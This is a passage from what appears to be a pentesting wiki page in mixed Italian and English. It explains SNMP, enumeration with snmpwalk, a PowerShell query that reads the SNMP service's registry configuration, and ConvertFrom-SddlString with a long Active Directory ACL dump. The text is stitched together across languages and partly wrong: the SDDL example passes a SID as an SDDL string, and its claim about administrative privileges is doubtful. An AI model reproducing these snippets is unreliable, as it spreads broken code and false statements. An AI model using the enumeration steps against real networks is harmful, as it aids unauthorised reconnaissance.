SNMP funziona utilizzando un modello client-server. Il dispositivo di rete agisce come un agente SNMP e il sistema di gestione di rete agisce come un manager SNMP. L'agente SNMP raccoglie le informazioni di gestione dai dispositivi di rete e le rende disponibili al manager SNMP.

Componenti di SNMP

SNMP è composto da tre componenti principali:

  1. Manager SNMP: è il sistema di gestione di rete che monitora e gestisce i dispositivi di rete utilizzando SNMP. Il manager SNMP invia richieste agli agenti SNMP per ottenere informazioni di gestione.

  2. Agente SNMP: è il software o il modulo hardware installato sui dispositivi di rete che raccoglie e rende disponibili le informazioni di gestione al manager SNMP. L'agente SNMP risponde alle richieste del manager SNMP e invia notifiche in caso di eventi critici.

  3. MIB (Management Information Base): è un database che contiene le informazioni di gestione dei dispositivi di rete. Il MIB definisce gli oggetti gestiti e le loro proprietà. Il manager SNMP utilizza il MIB per interpretare le informazioni ricevute dagli agenti SNMP.

Versioni di SNMP

SNMP ha diverse versioni, tra cui SNMPv1, SNMPv2c e SNMPv3. Le versioni più recenti offrono funzionalità di sicurezza avanzate come l'autenticazione e la crittografia dei dati.

Utilizzo di SNMP per il pentesting

Durante un pentesting, SNMP può essere utilizzato per raccogliere informazioni sui dispositivi di rete, come indirizzi IP, porte aperte, versioni del sistema operativo e configurazioni di sicurezza. È possibile utilizzare strumenti come snmpwalk e snmpenum per eseguire attacchi di enumerazione e ottenere informazioni sensibili dai dispositivi di rete.

Tuttavia, è importante notare che SNMP può essere vulnerabile a attacchi come l'enumerazione di stringhe comunità, l'iniezione di pacchetti SNMP e l'accesso non autorizzato ai dati di gestione. Pertanto, è fondamentale configurare correttamente SNMP e implementare misure di sicurezza per proteggere i dispositivi di rete da potenziali attacchi.

Get-ChildItem -path HKLM:\SYSTEM\CurrentControlSet\Services\SNMP -Recurse

Conversione della stringa SDDL in un formato leggibile

Sometimes during a penetration test, you may come across a Security Descriptor Definition Language (SDDL) string that represents the security descriptor of an object in Windows. This string can be difficult to understand and analyze. However, there is a PowerShell cmdlet called ConvertFrom-SddlString that can help you convert the SDDL string into a more readable format.

$SddlString = "S-1-5-32-544"
$ReadableFormat = ConvertFrom-SddlString -Sddl $SddlString
$ReadableFormat

This cmdlet takes the SDDL string as input and returns an object that represents the security descriptor in a more human-readable format. The output will include information about the owner, group, and access control entries (ACEs) of the object.

By using this cmdlet, you can easily analyze and understand the permissions and access control settings of various objects in Windows. This can be particularly useful when performing privilege escalation or lateral movement during a penetration test.

Keep in mind that this cmdlet requires administrative privileges to run successfully.


PS C:\> ConvertFrom-SddlString "O:BAG:BAD:AI(D;;DC;;;WD)(OA;CI;CR;ab721a53-1e2f-11d0-9819-00aa0040529b;bf967aba-0de6-11d0-a285-00aa003049e2;S-1-5-21-3842939050-3880317879-2865463114-5189)(OA;CI;CR;00299570-246d-11d0-a768-00aa006e0529;bf967aba-0de6-11d0-a285-00aa003049e2;S-1-5-21-3842939050-3880317879-2865463114-5189)(OA;CIIO;CCDCLC;c975c901-6cea-4b6f-8319-d67f45449506;4828cc14-1437-45bc-9b07-ad6f015e5f28;S-1-5-21-3842939050-3880317879-2865463114-5186)(OA;CIIO;CCDCLC;c975c901-6cea-4b6f-8319-d67f45449506;bf967aba-0de6-11d0-a285-00aa003049e2;S-1-5-21-3842939050-3880317879-2865463114-5186)(OA;;CR;3e0f7e18-2c7a-4c10-ba82-4d926db99a3e;;S-1-5-21-3842939050-3880317879-2865463114-522)(OA;;CR;1131f6aa-9c07-11d1-f79f-00c04fc2dcd2;;S-1-5-21-3842939050-3880317879-2865463114-498)(OA;;CR;1131f6ab-9c07-11d1-f79f-00c04fc2dcd2;;S-1-5-21-3842939050-3880317879-2865463114-5186)(OA;;CR;1131f6ad-9c07-11d1-f79f-00c04fc2dcd2;;DD)(OA;CI;CR;89e95b76-444d-4c62-991a-0facbeda640c;;S-1-5-21-3842939050-3880317879-2865463114-1164)(OA;CI;CR;1131f6aa-9c07-11d1-f79f-00c04fc2dcd2;;S-1-5-21-3842939050-3880317879-2865463114-1164)(OA;CI;CR;1131f6ad-9c07-11d1-f79f-00c04fc2dcd2;;S-1-5-21-3842939050-3880317879-2865463114-1164)(OA;CI;CC;4828cc14-1437-45bc-9b07-ad6f015e5f28;;S-1-5-21-3842939050-3880317879-2865463114-5189)(OA;CI;CC;bf967a86-0de6-11d0-a285-00aa003049e2;;S-1-5-21-3842939050-3880317879-2865463114-5189)(OA;CI;CC;bf967a9c-0de6-11d0-a285-00aa003049e2;;S-1-5-21-3842939050-3880317879-2865463114-5189)(OA;CI;CC;bf967aa5-0de6-11d0-a285-00aa003049e2;;S-1-5-21-3842939050-3880317879-2865463114-5189)(OA;CI;CC;bf967aba-0de6-11d0-a285-00aa003049e2;;S-1-5-21-3842939050-3880317879-2865463114-5189)(OA;CI;CC;5cb41ed0-0e4c-11d0-a286-00aa003049e2;;S-1-5-21-3842939050-3880317879-2865463114-5189)(OA;CI;RP;4c164200-20c0-11d0-a768-00aa006e0529;;S-1-5-21-3842939050-3880317879-2865463114-5181)(OA;CI;RP;b1b3a417-ec55-4191-b327-b72e33e38af2;;S-1-5-21-3842939050-3880317879-2865463114-5186)(OA;CI;RP;9a7ad945-ca53-11d1-bbd0-0080c76670c0;;S-1-5-21-3842939050-3880317879-2865463114-5186)(OA;CI;RP;bf967a68-0de6-11d0-a285-00aa003049e2;;S-1-5-21-3842939050-3880317879-2865463114-5186)(OA;CI;RP;1f298a89-de98-47b8-b5cd-572ad53d267e;;S-1-5-21-3842939050-3880317879-2865463114-5186)(OA;CI;RP;bf967991-0de6-11d0-a285-00aa003049e2;;S-1-5-21-3842939050-3880317879-2865463114-5186)(OA;CI;RP;5fd424a1-1262-11d0-a060-00aa006c33ed;;S-1-5-21-3842939050-3880317879-2865463114-5186)(OA;CI;WP;bf967a06-0de6-11d0-a285-00aa003049e2;;S-1-5-21-3842939050-3880317879-2865463114-5172)(OA;CI;WP;bf967a06-0de6-11d0-a285-00aa003049e2;;S-1-5-21-3842939050-3880317879-2865463114-5187)(OA;CI;WP;bf967a0a-0de6-11d0-a285-00aa003049e2;;S-1-5-21-3842939050-3880317879-2865463114-5189)(OA;CI;WP;3e74f60e-3e73-11d1-a9c0-0000f80367c1;;S-1-5-21-3842939050-3880317879-2865463114-5172)(OA;CI;WP;3e74f60e-3e73-11d1-a9c0-0000f80367c1;;S-1-5-21-3842939050-3880317879-2865463114-5187)(OA;CI;WP;b1b3a417-ec55-4191-b327-b72e33e38af2;;S-1-5-21-3842939050-3880317879-2865463114-5172)(OA;CI;WP;b1b3a417-ec55-4191-b327-b72e33e38af2;;S-1-5-21-3842939050-3880317879-2865463114-5187)(OA;CI;WP;bf96791a-0de6-11d0-a285-00aa003049e2;;S-1-5-21-3842939050-3880317879-2865463114-5172)(OA;CI;WP;bf96791a-0de6-11d0-a285-00aa003049e2;;S-1-5-21-3842939050-3880317879-2865463114-5187)(OA;CI;WP;9a9a021e-4a5b-11d1-a9c3-0000f80367c1;;S-1-5-21-3842939050-3880317879-2865463114-5186)(OA;CI;WP;0296c120-40da-11d1-a9c0-0000f80367c1;;S-1-5-21-3842939050-3880317879-2865463114-5189)(OA;CI;WP;934de926-b09e-11d2-aa06-00c04f8eedd8;;S-1-5-21-3842939050-3880317879-2865463114-5186)(OA;CI;WP;5e353847-f36c-48be-a7f7-49685402503c;;S-1-5-21-3842939050-3880317879-2865463114-5186)(OA;CI;WP;8d3bca50-1d7e-11d0-a081-00aa006c33ed;;S-1-5-21-3842939050-3880317879-2865463114-5186)(OA;CI;WP;bf967953-0de6-11d0-a285-00aa003049e2;;S-1-5-21-3842939050-3880317879-2865463114-5172)(OA;CI;WP;bf967953-0de6-11d0-a285-00aa003049e2;;S-1-5-21-3842939050-3880317879-2865463114-5187)(OA;CI;WP;e48d0154-bcf8-11d1-8702-00c04fb96050;;S-1-5-21-3842939050-3880317879-2865463114-5187)(OA;CI;WP;275b2f54-982d-4dcd-b0ad-e53501445efb;;S-1-5-21-3842939050-3880317879-2865463114-5186)(OA;CI;WP;bf967954-0de6-11d0-a285-00aa003049e2;;S-1-5-21-3842939050-3880317879-2865463114-5172)(OA;CI;WP;bf967954-0de6-11d0-a285-00aa003049e2;;S-1-5-21-3842939050-3880317879-2865463114-5187)(OA;CI;WP;bf967961-0de6-11d0-a285-00aa003049e2;;S-1-5-21-3842939050-3880317879-2865463114-5172)(OA;CI;WP;bf967961-0de6-11d0-a285-00aa003049e2;;S-1-5-21-3842939050-3880317879-2865463114-5187)(OA;CI;WP;bf967a68-0de6-11d0-a285-00aa003049e2;;S-1-5-21-3842939050-3880317879-2865463114-5189)(OA;CI;WP;5fd42471-1262-11d0-a060-00aa006c33ed;;S-1-5-21-3842939050-3880317879-2865463114-5189)(OA;CI;WP;5430e777-c3ea-4024-902e-dde192204669;;S-1-5-21-3842939050-3880317879-2865463114-5186)(OA;CI;WP;6f606079-3a82-4c1b-8efb-dcc8c91d26fe;;S-1-5-21-3842939050-3880317879-2865463114-5186)(OA;CI;WP;bf967a7a-0de6-11d0-a285-00aa003049e2;;S-1-5-21-3842939050-3880317879-2865463114-5189)(OA;CI;WP;bf967a7f-0de6-11d0-a285-00aa003049e2;;S-1-5-21-3842939050-3880317879-2865463114-5186)(OA;CI;WP;614aea82-abc6-4dd0-a148-d67a59c72816;;S-1-5-21-3842939050-3880317879-2865463114-5186)(OA;CI;WP;66437984-c3c5-498f-b269-987819ef484b;;S-1-5-21-3842939050-3880317879-2865463114-5186)(OA;CI;WP;77b5b886-944a-11d1-aebd-0000f80367c1;;S-1-5-21-3842939050-3880317879-2865463114-5187)(OA;CI;WP;a8df7489-c5ea-11d1-bbcb-0080c76670c0;;S-1-5-21-3842939050-3880317879-2865463114-5172)(OA;CI;WP;a8df7489-c5ea-11d1-bbcb-0080c76670c0;;S-1-5-21-3842939050-3880317879-2865463114-5187)(OA;CI;WP;1f298a89-de98-47b8-b5cd-572ad53d267e;;S-1-5-21-3842939050-3880317879-2865463114-5172)(OA;CI;WP;1f298a89-de98-47b8-b5cd-572ad53d267e;;S-1-5-21-3842939050-3880317879-2865463114-5187)(OA;CI;WP;f0f8ff9a-1191-11d0-a060-00aa006c33ed;;S-1-5-21-3842939050-3880317879-2865463114-5172)(OA;CI;WP;f0f8ff9a-1191-11d0-a060-00aa006c33ed;;S-1-5-21-3842939050-3880317879-2865463114-5186)(OA;CI;WP;f0f8ff9a-1191-11d0-a060-00aa006c33ed;;S-1-5-21-3842939050-3880317879-2865463114-5187)(OA;CI;WP;2cc06e9d-6f7e-426a-8825-0215de176e11;;S-1-5-21-3842939050-3880317879-2865463114-5186)(OA;CI;WP;5fd424a1-1262-11d0-a060-00aa006c33ed;;S-1-5-21-3842939050-3880317879-2865463114-5172)(OA;CI;WP;5fd424a1-1262-11d0-a060-00aa006c33ed;;S-1-5-21-3842939050-3880317879-2865463114-5187)(OA;CI;WP;3263e3b8-fd6b-4c60-87f2-34bdaa9d69eb;;S-1-5-21-3842939050-3880317879-2865463114-5186)(OA;CI;WP;28630ebc-41d5-11d1-a9c1-0000f80367c1;;S-1-5-21-3842939050-3880317879-2865463114-5172)(OA;CI;WP;28630ebc-41d5-11d1-a9c1-0000f80367c1;;S-1-5-21-3842939050-3880317879-2865463114-5187)(OA;CI;WP;bf9679c0-0de6-11d0-a285-00aa003049e2;;S-1-5-21-3842939050-3880317879-2865463114-5189)(OA;CI;WP;3e0abfd0-126a-11d0-a060-00aa006c33ed;;S-1-5-21-3842939050-3880317879-2865463114-5189)(OA;CI;WP;7cb4c7d3-8787-42b0-b438-3c5d479ad31e;;S-1-5-21-3842939050-3880317879-2865463114-5186)(OA;CI;RPWP;5b47d60f-6090-40b2-9f37-2a4de88f3063;;S-1-5-21-3842939050-3880317879-2865463114-526)(OA;CI;RPWP;5b47d60f-6090-40b2-9f37-2a4de88f3063;;S-1-5-21-3842939050-3880317879-2865463114-527)(OA;CI;DTWD;;4828cc14-1437-45bc-9b07-ad6f015e5f28;S-1-5-21-3842939050-3880317879-2865463114-5189)(OA;CI;DTWD;;bf967aba-0de6-11d0-a285-00aa003049e2;S-1-5-21-3842939050-3880317879-2865463114-5189)(OA;CI;CCDCLCRPWPLO;f0f8ffac-1191-11d0-a060-00aa006c33ed;;S-1-5-21-3842939050-3880317879-2865463114-5187)(OA;CI;CCDCLCRPWPLO;e8b2aff2-59a7-4eac-9a70-819adef701dd;;S-1-5-21-3842939050-3880317879-2865463114-5186)(OA;CI;CCDCLCSWRPWPDTLOCRSDRCWDWO;018849b0-a981-11d2-a9ff-00c04f8eedd8;;S-1-5-21-3842939050-3880317879-2865463114-5172)(OA;CI;CCDCLCSWRPWPDTLOCRSDRCWDWO;018849b0-a981-11d2-a9ff-00c04f8eedd8;;S-1-5-21-3842939050-3880317879-2865463114-5187)(OA;CIIO;SD;;4828cc14-1437-45bc-9b07-ad6f015e5f28;S-1-5-21-3842939050-3880317879-2865463114-5189)(OA;CIIO;SD;;bf967a86-0de6-11d0-a285-00aa003049e2;S-1-5-21-3842939050-3880317879-2865463114-5189)(OA;CIIO;SD;;bf967a9c-0de6-11d0-a285-00aa003049e2;S-1-5-21-3842939050-3880317879-2865463114-5189)(OA;CIIO;SD;;bf967aa5-0de6-11d0-a285-00aa003049e2;S-1-5-21-3842939050-3880317879-2865463114-5189)(OA;CIIO;SD;;bf967aba-0de6-11d0-a285-00aa003049e2;S-1-5-21-3842939050-3880317879-2865463114-5189)(OA;CIIO;SD;;5cb41ed0-0e4c-11d0-a286-00aa003049e2;S-1-5-21-3842939050-3880317879-2865463114-5189)(OA;CIIO;WD;;bf967a9c-0de6-11d0-a285-00aa003049e2;S-1-5-21-3842939050-3880317879-2865463114-5187)(OA;CIIO;SW;9b026da6-0d3c-465c-8bee-5199d7165cba;bf967a86-0de6-11d0-a285-00aa003049e2;CO)(OA;CIIO;SW;9b026da6-0d3c-465c-8bee-5199d7165cba;bf967a86-0de6-11d0-a285-00aa003049e2;PS)(OA;CIIO;RP;b7c69e6d-2cc7-11d2-854e-00a0c983f608;bf967a86-0de6-11d0-a285-00aa003049e2;ED)(OA;CIIO;RP;b7c69e6d-2cc7-11d2-854e-00a0c983f608;bf967a9c-0de6-11d0-a285-00aa003049e2;ED)(OA;CIIO;RP;b7c69e6d-2cc7-11d2-854e-00a0c983f608;bf967aba-0de6-11d0-a285-00aa003049e2;ED)(OA;CIIO;WP;ea1b7b93-5e48-46d5-bc6c-4df4fda78a35;bf967a86-0de6-11d0-a285-00aa003049e2;PS)(OA;CIIO;CCDCLCSWRPWPDTLOCRSDRCWDWO;;c975c901-6cea-4b6f-8319-d67f45449506;S-1-5-21-3842939050-3880317879-2865463114-5187)(OA;CIIO;CCDCLCSWRPWPDTLOCRSDRCWDWO;;f0f8ffac-1191-11d0-a060-00aa006c33ed;S-1-5-21-3842939050-3880317879-2865463114-5187)(OA;CINPIO;RPWPLOSD;;e8b2aff2-59a7-4eac-9a70-819adef701dd;S-1-5-21-3842939050-3880317879-2865463114-5186)(OA;;CR;89e95b76-444d-4c62-991a-0facbeda640c;;BA)(OA;;CR;1131f6aa-9c07-11d1-f79f-00c04fc2dcd2;;BA)(OA;;CR;1131f6ab-9c07-11d1-f79f-00c04fc2dcd2;;BA)(OA;;CR;1131f6ac-9c07-11d1-f79f-00c04fc2dcd2;;BA)(OA;;CR;1131f6ad-9c07-11d1-f79f-00c04fc2dcd2;;BA)(OA;;CR;1131f6ae-9c07-11d1-f79f-00c04fc2dcd2;;BA)(OA;;CR;e2a36dc9-ae17-47c3-b58b-be34c55ba633;;S-1-5-32-557)(OA;CIIO;LCRPLORC;;4828cc14-1437-45bc-9b07-ad6f015e5f28;RU)(OA;CIIO;LCRPLORC;;bf967a9c-0de6-11d0-a285-00aa003049e2;RU)(OA;CIIO;LCRPLORC;;bf967aba-0de6-11d0-a285-00aa003049e2;RU)(OA;;CR;05c74c5e-4deb-43b4-bd9f-86664c2a7fd5;;AU)(OA;;CR;89e95b76-444d-4c62-991a-0facbeda640c;;ED)(OA;;CR;ccc2dc7d-a6ad-4a7a-8846-c04e3cc53501;;AU)(OA;;CR;280f369c-67c7-438e-ae98-1d46f3c6f541;;AU)(OA;;CR;1131f6aa-9c07-11d1-f79f-00c04fc2dcd2;;ED)(OA;;CR;1131f6ab-9c07-11d1-f79f-00c04fc2dcd2;;ED)(OA;;CR;1131f6ac-9c07-11d1-f79f-00c04fc2dcd2;;ED)(OA;;CR;1131f6ae-9c07-11d1-f79f-00c04fc2dcd2;;ED)(OA;CI;RP;b1b3a417-ec55-4191-b327-b72e33e38af2;;NS)(OA;CI;RP;1f298a89-de98-47b8-b5cd-572ad53d267e;;AU)(OA;CI;RPWP;3f78c3e5-f79a-46bd-a0b8-9d18116ddc79;;PS)(OA;CIIO;RPWPCR;91e647de-d96f-4b70-9557-d63ff4f3ccd8;;PS)(A;;CCLCSWRPWPLOCRRCWDWO;;;DA)(A;CI;LCSWRPWPRC;;;S-1-5-21-3842939050-3880317879-2865463114-5213)(A;CI;LCRPLORC;;;S-1-5-21-3842939050-3880317879-2865463114-5172)(A;CI;LCRPLORC;;;S-1-5-21-3842939050-3880317879-2865463114-5187)(A;CI;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;S-1-5-21-3842939050-3880317879-2865463114-519)(A;;RPRC;;;RU)(A;CI;LC;;;RU)(A;CI;CCLCSWRPWPLOCRSDRCWDWO;;;BA)(A;;RP;;;WD)(A;;LCRPLORC;;;ED)(A;;LCRPLORC;;;AU)(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;SY)(A;CI;LCRPWPRC;;;AN)S:(OU;CISA;WP;f30e3bbe-9ff0-11d1-b603-0000f80367c1;bf967aa5-0de6-11d0-a285-00aa003049e2;WD)(OU;CISA;WP;f30e3bbf-9ff0-11d1-b603-0000f80367c1;bf967aa5-0de6-11d0-a285-00aa003049e2;WD)(AU;SA;CR;;;DU)(AU;SA;CR;;;BA)(AU;SA;WPWDWO;;;WD)"
Proprietario            : BUILTIN\Administrators
Gruppo            : BUILTIN\Administrators
DiscretionaryAcl : {Everyone: AccessDenied (WriteData), Everyone: AccessAllowed (WriteExtendedAttributes), NT
AUTHORITY\ANONYMOUS LOGON: AccessAllowed (CreateDirectories, GenericExecute, ReadPermissions,
Traverse, WriteExtendedAttributes), NT AUTHORITY\ENTERPRISE DOMAIN CONTROLLERS: AccessAllowed
(CreateDirectories, GenericExecute, GenericRead, ReadAttributes, ReadPermissions,
WriteExtendedAttributes)...}
SystemAcl        : {Everyone: SystemAudit SuccessfulAccess (ChangePermissions, TakeOwnership, Traverse),
BUILTIN\Administrators: SystemAudit SuccessfulAccess (WriteAttributes), DOMAIN_NAME\Domain Users:
SystemAudit SuccessfulAccess (WriteAttributes), Everyone: SystemAudit SuccessfulAccess
(Traverse)...}
RawDescriptor    : System.Security.AccessControl.CommonSecurityDescriptor
Impara l'hacking di AWS da zero a eroe con htARTE (HackTricks AWS Red Team Expert)!

Altri modi per supportare HackTricks:

Last updated